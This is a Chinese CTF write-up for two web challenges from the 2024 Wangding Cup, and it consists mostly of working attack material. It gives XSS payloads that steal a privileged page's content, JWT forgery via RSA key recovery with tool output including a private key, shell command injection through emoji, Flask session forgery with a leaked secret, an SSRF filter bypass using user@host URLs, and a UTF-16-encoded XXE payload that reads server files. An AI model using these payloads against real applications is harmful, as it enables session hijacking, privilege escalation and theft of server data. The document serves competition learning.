2024 网鼎杯 - 青龙组 Web WP

2024 网鼎杯 - 青龙组

WEB - 02

打开容器一个登录界面，随便输入账号密码可以进到漏洞界面

这里有一个发送给boss的功能，一眼xss

有三个接口：/flag 、/update 、/submit

• /flag ：要求boss才能访问，
• /update ： Post参数content
• /submit ：Post参数content_hash，账号唯一值

思路：/submit一个XSS请求，让boss访问/flag后，将/flag的内容Post到/update实现带外，最后在我们的页面上就能看到flag。

然后访问/flag，需要boss才能访问，这里我们就可以提交一个xss，然后让boss先访问/flag,再把数据带给我们的content里面

payload1：

<script>var xmlhttp = new XMLHttpRequest();
xmlhttp.withCredentials = true;xmlhttp.onreadystatechange = function() {if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {var flagData = xmlhttp.responseText;  var flag1 = btoa(flagData);var remoteServerUrl = '/content/4a95828e3f0037bfe446ae0e693912df';var xmlhttp2 = new XMLHttpRequest();xmlhttp2.open("POST", remoteServerUrl, true);xmlhttp2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");xmlhttp2.send("content=" + encodeURIComponent(flag1))}
};
xmlhttp.open('GET', '/flag', true);
xmlhttp.send();</script>

payload2：

<script>
fetch('/flag').then(response=>response.text()).then(data=>{fetch('/content/a9571d0
e889a28847d8682903',{method:'POST',headers:{'Content-Type':'application/x-www-form- 
urlencoded'},body:"content="+data});})
</script>

更新任务后，发送给boss

接着回到页面可以看到flag已经发过来了

WEB - 01

开局是一个登录界面，输入任意账号密码都可以登录，会给出一个唯一的session和jwt。

0x01 伪造JWT用户为admin

参考：https://ctftime.org/writeup/30541

思路：获取两个jwt值，通过这两个jwt值来获取公钥，再爆破私钥

工具：rsa_sign2n

https://github.com/silentsignal/rsa_sign2n

setup：
git clone https://github.com/silentsignal/rsa_sign2n.git
cd rsa_sign2n
cd standalone
pip3 install -r requirements.txt

try：
python3 jwt_forgery.py eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJhZG1pbiI6ZmFsc2UsIm5vdyI6MTYzMjUzNjcyMC41NjkyMTk4fQ.DGGgcbIX160FUcUr6JWLn8HLGQM3n_DuIQ0tDx0AcTKXr_72_Z6LdMFo33yScKiobGFpjzlAg6lDMsCa4UkJqQfteA38Mo74B7ITHpjh0tnXrxejm20F-X23kTkKT_SLVw eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJhZG1pbiI6ZmFsc2UsIm5vdyI6MTYzMjUzNjc0MS40NDAyMzA0fQ.DxCSrEVez5gtm_Xfjq1eaiGRf5PKNeYXti3loMHYMURKQdjILlp1dZlCSed1Y4R1B9mOsbAujxOYCLsdjQhzIbLV04XHZ96UOXH0dXaqNTb_PBxCsZ5ELs_CFX6qNm9MJA

 $ python3 jwt_forgery.py eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJhZG1pbiI6ZmFsc2UsIm5vdyI6MTYzMjUzNjcyMC41NjkyMTk4fQ.DGGgcbIX160FUcUr6JWLn8HLGQM3n_DuIQ0tDx0AcTKXr_72_Z6LdMFo33yScKiobGFpjzlAg6lDMsCa4UkJqQfteA38Mo74B7ITHpjh0tnXrxejm20F-X23kTkKT_SLVw eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJhZG1pbiI6ZmFsc2UsIm5vdyI6MTYzMjUzNjc0MS40NDAyMzA0fQ.DxCSrEVez5gtm_Xfjq1eaiGRf5PKNeYXti3loMHYMURKQdjILlp1dZlCSed1Y4R1B9mOsbAujxOYCLsdjQhzIbLV04XHZ96UOXH0dXaqNTb_PBxCsZ5ELs_CFX6qNm9MJA
[*] GCD:  0x1d
[*] GCD:  0x108b7c75aee1e2b9df3692a2cc54b100d111002193ebc9c3cf575e4b16f595cc28d9b47a65d1f3774aa3db05649085589230fe23bfcc2ef876b4134dafde4484d7bde8c9b80016d9c9aed53a0334ae3483cc833374301e1a7829a5f5800a793803        
[+] Found n with multiplier 1  :0x108b7c75aee1e2b9df3692a2cc54b100d111002193ebc9c3cf575e4b16f595cc28d9b47a65d1f3774aa3db05649085589230fe23bfcc2ef876b4134dafde4484d7bde8c9b80016d9c9aed53a0334ae3483cc833374301e1a7829a5f5800a793803
[+] Written to 108b7c75aee1e2b9_65537_x509.pem
[+] Tampered JWT: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhZG1pbiI6IGZhbHNlLCAibm93IjogMTYzMjUzNjcyMC41NjkyMTk4LCAiZXhwIjogMTczMTA1NTc0NH0.lyqnPK5DTAuTUuPtYqHqpxBHvOOEvNW7LC3JEIp5nYI'
[+] Written to 108b7c75aee1e2b9_65537_pkcs1.pem
[+] Tampered JWT: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhZG1pbiI6IGZhbHNlLCAibm93IjogMTYzMjUzNjcyMC41NjkyMTk4LCAiZXhwIjogMTczMTA1NTc0NH0.-57iIgXSr30CvqcRJFOhshZjzzetQQAYWjR2lkgb6Ow'
[+] Found n with multiplier 29  :0x920d1e8a71b85eaf6bd01744d6c84f79f7c2361f955f3bb7b3907e2cedfc567cfeadf290c09e76df43717bc5acb5265d51233f069d1c1a390f097e43db86c6c9a571f54cf72ced06f45fa0e5a0b68f0d5f53f8f259ef620424bf1a1ee5e0de9f
[+] Written to 920d1e8a71b85eaf_65537_x509.pem
[+] Tampered JWT: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhZG1pbiI6IGZhbHNlLCAibm93IjogMTYzMjUzNjcyMC41NjkyMTk4LCAiZXhwIjogMTczMTA1NTc0NH0.x_6R5MJgV8_YFE8bfzFRR93r9Upf_nVLPTdzuOYnZLw'
[+] Written to 920d1e8a71b85eaf_65537_pkcs1.pem
[+] Tampered JWT: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhZG1pbiI6IGZhbHNlLCAibm93IjogMTYzMjUzNjcyMC41NjkyMTk4LCAiZXhwIjogMTczMTA1NTc0NH0.R8n6JL3Z5HlCA5bp0wvNxxJag64RxMEAYctRkLgJXp4'
================================================================================
Here are your JWT's once again for your copypasting pleasure
================================================================================
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhZG1pbiI6IGZhbHNlLCAibm93IjogMTYzMjUzNjcyMC41NjkyMTk4LCAiZXhwIjogMTczMTA1NTc0NH0.lyqnPK5DTAuTUuPtYqHqpxBHvOOEvNW7LC3JEIp5nYI
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhZG1pbiI6IGZhbHNlLCAibm93IjogMTYzMjUzNjcyMC41NjkyMTk4LCAiZXhwIjogMTczMTA1NTc0NH0.-57iIgXSr30CvqcRJFOhshZjzzetQQAYWjR2lkgb6Ow
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhZG1pbiI6IGZhbHNlLCAibm93IjogMTYzMjUzNjcyMC41NjkyMTk4LCAiZXhwIjogMTczMTA1NTc0NH0.x_6R5MJgV8_YFE8bfzFRR93r9Upf_nVLPTdzuOYnZLw
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhZG1pbiI6IGZhbHNlLCAibm93IjogMTYzMjUzNjcyMC41NjkyMTk4LCAiZXhwIjogMTczMTA1NTc0NH0.R8n6JL3Z5HlCA5bp0wvNxxJag64RxMEAYctRkLgJXp4

获取到了公钥：

-----BEGIN PUBLIC KEY-----
MHwwDQYJKoZIhvcNAQEBBQADawAwaAJhEIt8da7h4rnfNpKizFSxANERACGT68nD
z1deSxb1lcwo2bR6ZdHzd0qj2wVkkIVYkjD+I7/MLvh2tBNNr95EhNe96Mm4ABbZ
ya7VOgM0rjSDzIMzdDAeGngppfWACnk4AwIDAQAB
-----END PUBLIC KEY-----

现在我们有了公钥，让我们使用另一个特殊工具来看看是否可以从中生成私钥（只有当它是一个“弱”公钥时才有可能）。

参考工具如下：https://github.com/RsaCtfTool/RsaCtfTool

setup：
git clone [e-mail]:Ganapati/RsaCtfTool.git
cd RsaCtfTool
pip3 install -r requirements.txt

 $ python3 RsaCtfTool.py --publickey ./public.pem --private  
['./public.pem'][*] Testing key ./public.pem.
attack initialized...
attack initialized...
[*] Performing nonRSA attack on ./public.pem.
[+] Time elapsed: 0.0024 sec.
[*] Performing mersenne_primes attack on ./public.pem.27%|████████████████████████████████████████████████████▋                                                                                                                                           | 14/51 [00:00<00:00, 53723.93it/s]
[+] Time elapsed: 0.0317 sec.
[*] Performing pastctfprimes attack on ./public.pem.
[+] loading prime list file data/ti_rsa_signing_keys.txt...
100%|███████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 34/34 [00:00<00:00, 702494.27it/s]
[+] loading prime list file data/pastctfprimes.txt...
100%|████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 121/121 [00:00<00:00, 1185772.86it/s]
[+] loading prime list file data/visa_emv.txt...
100%|██████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 2/2 [00:00<00:00, 27413.75it/s]
[+] Time elapsed: 0.0037 sec.
[*] Performing lucas_gcd attack on ./public.pem.0%|                                                                                                                                                                                              | 6/9999 [00:00<00:00, 115971.54it/s]
[*] Attack success with lucas_gcd method !
[+] Total time elapsed min,max,avg: 0.0024/0.0317/0.0126 sec.Results for ./public.pem:Private key :
-----BEGIN RSA PRIVATE KEY-----
MIIB+wIBAAJhEIt8da7h4rnfNpKizFSxANERACGT68nDz1deSxb1lcwo2bR6ZdHz
d0qj2wVkkIVYkjD+I7/MLvh2tBNNr95EhNe96Mm4ABbZya7VOgM0rjSDzIMzdDAe
GngppfWACnk4AwIDAQABAmEKpfUIG6wBMAOtnv0vdki0XiDfW6KTMDRDvdcjryUd
sIi8WaAV8ZW9z9XWw/v8U/4DrOzW5nJwm2BwMRfpIfKlS/QW0gX/TR+btntJc6P8
wnks0vynK8S9A+l4kegxYrSxAmEAkg0einG4Xq9r0BdE1shPeffCNh+VXzu3s5B+
LO38Vnz+rfKQwJ5230Nxe8WstSZdUSM/Bp0cGjkPCX5D24bGyaVx9Uz3LO0G9F+g
5aC2jw1fU/jyWe9iBCS/Gh7l4N6fAgEdAmBhCOJfrQqHrhj9WlhcMx3KtTeNahJ+
AVkdrkSGaV+bvtQekehmcWIdF9wQFdeXS3P4cmhvZnbDXWGGNyOyeKseUhOSnJ4k
dR6HwflOVyaziHjre5zY79i5VAi7vAeTDZUCAQUCYG7MKNL1KsNqmGjlg6vEGPts
ga15EDaXO+lTIe0eeM7aaO3kJzEFdKlfTUNp0nfE1AiWUx+AA6n2UgczpjybNbN0
rroXE8nOS+WGVr/bBhQ/HC4MTevzZNcBZNYFyN+OZw==
-----END RSA PRIVATE KEY-----

成功获取私钥

那么接下来就可以伪造jwt了，可以用赛博厨子，jwt.io， https://www.bejson.com/jwt/等网站。

接着直接伪造jwt即可，成功伪造了用户名为admin的用户

0x02 伪造session

是一个emoji executor，参考https://naupjjin.github.io/2024/06/30/AIS3-pre-exam-2024-Writeup/

    "😀": ":D","😁": ":D","😂": ":')","🤣": "XD","😃": ":D","😄": ":D","😅": "':D","😆": "XD","😉": ";)","😊": ":)","😋": ":P","😎": "B)","😍": ":)","😘": ":*",#"😗": ":*",#"😙": ":*",#"😚": ":*",#"☺️": ":)","🙂": ":)","🤗": ":)","🤩": ":)","🤔": ":?",#"🤨": ":/",#"😐": ":|","😑": ":|","😶": ":|","🙄": ":/","😏": ":]","😣": ">:","😥": ":'(","😮": ":o","🤐": ":x","😯": ":o","😪": ":'(","😫": ">:(","😴": "Zzz","😌": ":)","😛": ":P","😜": ";P","😝": "XP","🤤": ":P","😒": ":/","😓": ";/",#"😔": ":(","😕": ":/",#"🙃": "(:","🤑": "$)","😲": ":O","☹️": ":(","🙁": ":(","😖": ">:(","😞": ":(","😟": ":(","😤": ">:(","😢": ":'(","😭": ":'(","😦": ":(","😧": ">:(","😨": ":O","😩": ">:(","🤯": ":O","😬": ":E","😰": ":(","😱": ":O","🥵": ">:(","🥶": ":(","😳": ":$","🤪": ":P","😵": "X(","🥴": ":P","😠": ">:(","😡": ">:(","🤬": "#$%&!","🤕": ":(","🤢": "X(","🤮": ":P","🤧": ":'(","😇": "O:)","🥳": ":D","🥺": ":'(","🤡": ":o)","🤠": "Y)","🤥": ":L","🤫": ":x","🤭": ":x","🐶": "dog","🐱": "cat",#"🐭": "mouse","🐹": "hamster","🐰": "rabbit","🦊": "fox","🐻": "bear","🐼": "panda","🐨": "koala","🐯": "tiger","🦁": "lion","🐮": "cow","🐷": "pig","🐽": "pig nose","🐸": "frog","🐒": "monkey","🐔": "chicken","🐧": "penguin","🐦": "bird","🐤": "baby chick","🐣": "hatching chick","🐥": "front-facing baby chick","🦆": "duck","🦅": "eagle","🦉": "owl","🦇": "bat","🐺": "wolf","🐗": "boar","🐴": "horse","🦄": "unicorn","🐝": "bee","🐛": "bug","🦋": "butterfly","🐌": "snail","🐞": "lady beetle","🐜": "ant","🦟": "mosquito","🦗": "cricket","🕷️": "spider","🕸️": "spider web","🦂": "scorpion","🐢": "turtle","🐍": "python", #"🦎": "lizard","🦖": "T-Rex","🦕": "sauropod","🐙": "octopus","🦑": "squid","🦐": "shrimp","🦞": "lobster","🦀": "crab","🐡": "blowfish","🐠": "tropical fish","🐟": "fish","🐬": "dolphin","🐳": "whale","🐋": "whale","🦈": "shark","🐊": "crocodile","🐅": "tiger","🐆": "leopard","🦓": "zebra","🦍": "gorilla","🦧": "orangutan","🦣": "mammoth","🐘": "elephant","🦛": "hippopotamus","🦏": "rhinoceros","🐪": "camel","🐫": "two-hump camel","🦒": "giraffe","🦘": "kangaroo","🦬": "bison","🦥": "sloth","🦦": "otter","🦨": "skunk","🦡": "badger","🐾": "paw prints","◼️": "black square","◻️": "white square","◾": "black medium square","◽": "white medium square","▪️": "black small square","▫️": "white small square","🔶": "large orange diamond","🔷": "large blue diamond","🔸": "small orange diamond","🔹": "small blue diamond","🔺": "triangle","🔻": "triangle","🔼": "triangle","🔽": "triangle","🔘": "circle","⚪": "circle","⚫": "black circle","🟠": "orange circle","🟢": "green circle","🔵": "blue circle","🟣": "purple circle","🟡": "yellow circle","🟤": "brown circle","⭕": "empty circle","🅰️": "A","🅱️": "B","🅾️": "O","ℹ️": "i","🅿️": "P","Ⓜ️": "M","🆎": "AB","🆑": "CL","🆒": "COOL","🆓": "FREE","🆔": "ID","🆕": "NEW","🆖": "NG","🆗": "OK","🆘": "SOS","🆙": "UP","🆚": "VS","㊗️": "祝","㊙️": "秘","🈺": "營","🈯": "指","🉐": "得","🈹": "割","🈚": "無","🈲": "禁","🈸": "申","🈴": "合","🈳": "空","🈵": "滿","🈶": "有","🈷️": "月","🚗": "car","🚕": "taxi","🚙": "SUV","🚌": "bus","🚎": "trolleybus","🏎️": "race car","🚓": "police car","🚑": "ambulance","🚒": "fire engine","🚐": "minibus","🚚": "delivery truck","🚛": "articulated lorry","🚜": "tractor","🛴": "kick scooter","🚲": "bicycle","🛵": "scooter","🏍️": "motorcycle","✈️": "airplane","🚀": "rocket","🛸": "UFO","🚁": "helicopter","🛶": "canoe","⛵": "sailboat","🚤": "speedboat","🛳️": "passenger ship","⛴️": "ferry","🛥️": "motor boat","🚢": "ship","👨": "man","👩": "woman","👶": "baby","🧓": "old man","👵": "old woman","💿": "CD","📀": "DVD","📱": "phone","💻": "laptop","🖥️": "pc","🖨️": "printer","⌨️": "keyboard","🖱️": "mouse","🖲️": "trackball","🕹️": "joystick","🗜️": "clamp","💾": "floppy disk","💽": "minidisc","☎️": "telephone","📟": "pager","📺": "television","📻": "radio","🎙️": "studio microphone","🎚️": "level slider","🎛️": "control knobs","⏰": "alarm clock","🕰️": "mantelpiece clock","⌚": "watch","📡": "satellite antenna","🔋": "battery","🔌": "plug","🚩": "flag","⓿": "0","❶": "1","❷": "2","❸": "3","❹": "4","❺": "5","❻": "6","❼": "7","❽": "8","❾": "9","❿": "10","⭐": "*","➕": "+","➖": "-","✖️": "×","➗": "÷"

先🐱 ⭐来查看所有文件(夹)

🐱 ⭐ = cat *

💿 🚩😜😐🐱 ⭐ = cd flag;p:|cat *

先用分号分隔，再用|去执行后面的命令

发现一个app.py

@app.route('/upload', methods=['GET', 'POST'])
def upload():token = request.cookies.get('token')if not token:flash('Please login first', 'warning')return redirect(url_for('login'))payload = decode_jwt(token)form = UploadForm()if not payload or payload['username'] != 'admin':error_message = 'You do not have permission to access this page.Your username is not admin.'return render_template('upload.html', form=form, error_message=error_message, username=payload['username'])if not session['role'] or session['role'] != 'admin':error_message = 'You do not have permission to access this page.Your role is not admin.'return render_template('upload.html', form=form, error_message=error_message, username=payload['username'])if form.validate_on_submit():file = form.avatar.dataif file:filename = secure_filename(file.filename)files = {'file': (filename, file.stream, file.content_type)}php_service_url = 'http://127.0.0.1/upload.php'response = requests.post(php_service_url, files=files)if response.status_code == 200:flash(response.text, 'success')else:flash('Failed to upload file to PHP service', 'danger')return render_template('upload.html', form=form)@app.route('/view_uploads', methods=['GET', 'POST'])
def view_uploads():token = request.cookies.get('token')form = GameForm()if not token:error_message = 'Please login first'return render_template('view_uploads.html', form=form, error_message=error_message)payload = decode_jwt(token)if not payload:error_message = 'Invalid or expired token. Please login again.'return render_template('view_uploads.html', form=form, error_message=error_message)if not payload['username']=='admin':error_message = 'You do not have permission to access this page.Your username is not admin'return render_template('view_uploads.html', form=form, error_message=error_message)user_input = Noneif form.validate_on_submit():filepath = form.user_input.datapathurl = request.form.get('path')if ("www.testctf.com" not in pathurl) or ("127.0.0.1" in pathurl) or ('/var/www/html/uploads/' not in filepath) or ('.' in filepath):error_message = "www.testctf.com must in path and /var/www/html/uploads/ must in filepath."return render_template('view_uploads.html', form=form, error_message=error_message)params = {'s': filepath}try:response = requests.get("http://"+pathurl, params=params, timeout=1)return render_template('view_uploads.html', form=form, user_input=response.text)except:error_message = "500! Server Error"return render_template('view_uploads.html', form=form, error_message=error_message)return render_template('view_uploads.html', form=form, user_input=user_input)

我们直接读源码，可以得到secret_key为36f8efbea152e50b23290e0ed707b4b0

则可以伪造session来实现访问/upload：

python flask_session_cookie_manager3.py encode -s "36f8efbea152e50b23290e0ed707b4b0" -t "{'csrf_token' : 'bbbbbbbbbbbbbbbbbbbbbb' , 'role' : 'admin'}"

session=eJyrVkouLkqLL8nPTs1TslJKwgqUdJSK8nNSgfKJKbmZeUq1ABeJEv4.ZyylsQ.hVb1LVDwhTxLtmPOecpia2ebRbA

0x03 文件上传

现在可以访问/upload路由了，主要是下面这部分：

将文件直接发送到内部的upload.php实现文件上传

    if form.validate_on_submit():file = form.avatar.dataif file:filename = secure_filename(file.filename)files = {'file': (filename, file.stream, file.content_type)}php_service_url = 'http://127.0.0.1/upload.php'response = requests.post(php_service_url, files=files)if response.status_code == 200:flash(response.text, 'success')else:flash('Failed to upload file to PHP service', 'danger')

在/view_upload路由下：

存在waf：

if (“www.testctf.com” not in pathurl) or (“127.0.0.1” in pathurl) or (‘/var/www/html/uploads/’ not in filepath) or (‘.’ in filepath)：

要满足

• “www.testctf.com” in pathurl
• “127.0.0.1” not in pathurl

绕过：http://www.testctf.com@0.0.0.0、http://www.testctf.com@localhost，这种写法相当于user:passwd@host，@前面的是用户信息

• ‘/var/www/html/uploads/’ in filepath
• ‘.’ not in filepath

绕过（也不算）：user_input=/var/www/html/uploads/60edfb32093e262bfccda5496e1cdaa8

过了waf后，访问http://+pathurl/?params=params

if form.validate_on_submit():    filepath = form.user_input.datapathurl = request.form.get('path')if ("www.testctf.com" not in pathurl) or ("127.0.0.1" in pathurl) or ('/var/www/html/uploads/' not in filepath) or ('.' in filepath):error_message = "www.testctf.com must in path and /var/www/html/uploads/ must in filepath."return render_template('view_uploads.html', form=form, error_message=error_message)params = {'s': filepath}try:response = requests.get("http://"+pathurl, params=params, timeout=1)return render_template('view_uploads.html', form=form, user_input=response.text)

Request：

POST /view_uploads HTTP/1.1    
Host: 0192d68dfb217833b65d0adeec06784b.zeuo.dg01.ciihw.cn:45732
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 211
Origin: http://0192d68dfb217833b65d0adeec06784b.zeuo.dg01.ciihw.cn:45732
Connection: close
Referer: http://0192d68dfb217833b65d0adeec06784b.zeuo.dg01.ciihw.cn:45732/view_uploads
Cookie: session=eyJjc3JmX3Rva2VuIjoiYmQyNTJlZDZlYTQ5ZmJmOWQyZjJjMmQ0YTBlNjc1YzJhYzlmNmU5MyIsInJvbGUiOiJhZG1pbiJ9.ZyBmXg.eLZ3Z69hYgP6lG3vjiMNsKTLCno; token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.DNqIFNdFOWgGGnuk95SQa5GdU_D6TDv95lTU97wUP8ekgqX6zrnvvsnp8XkvVfSx0g3xVQqbo5xhdxjNpM8LiiwX_kQ8FO8t0q0qBn1RJ5O2bGkGOZsUWAUrKg7ME6L4-XFiXi7P328f1t4En_kSp91SeS7-9Lcn7Ja__IJbRuH1
Upgrade-Insecure-Requests: 1
Priority: u=0, icsrf_token=ImJkMjUyZWQ2ZWE0OWZiZjlkMmYyYzJkNGEwZTY3NWMyYWM5ZjZlOTMi.ZyBmag.RCasLc0XUU8ep682nDtSZ5PeqsQ&path=www.testctf.com@0.0.0.0&user_input=/var/www/html/uploads/60edfb32093e262bfccda5496e1cdaa8&submit=Submit

然后先随便上传一个文件，然后读取，发现会报Failed to load XML file，猜测会解析xml，直接打xxe，但是过滤了system等许多关键字，那么采用utf-16编码绕过，直接读flag.php文件

<?xml version="1.0" ?>
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/flag.php"> ]>  <userInfo><firstName>John</firstName><lastName>&example;</lastName></userInfo>

iconv -f utf8 -t utf16 1.xml>3.xml

然后上传3.xml，再去读取，得到flag

参考链接：https://www.cnblogs.com/Meteor-Kai/articles/18526034
https://www.cnblogs.com/gxngxngxn/p/18514445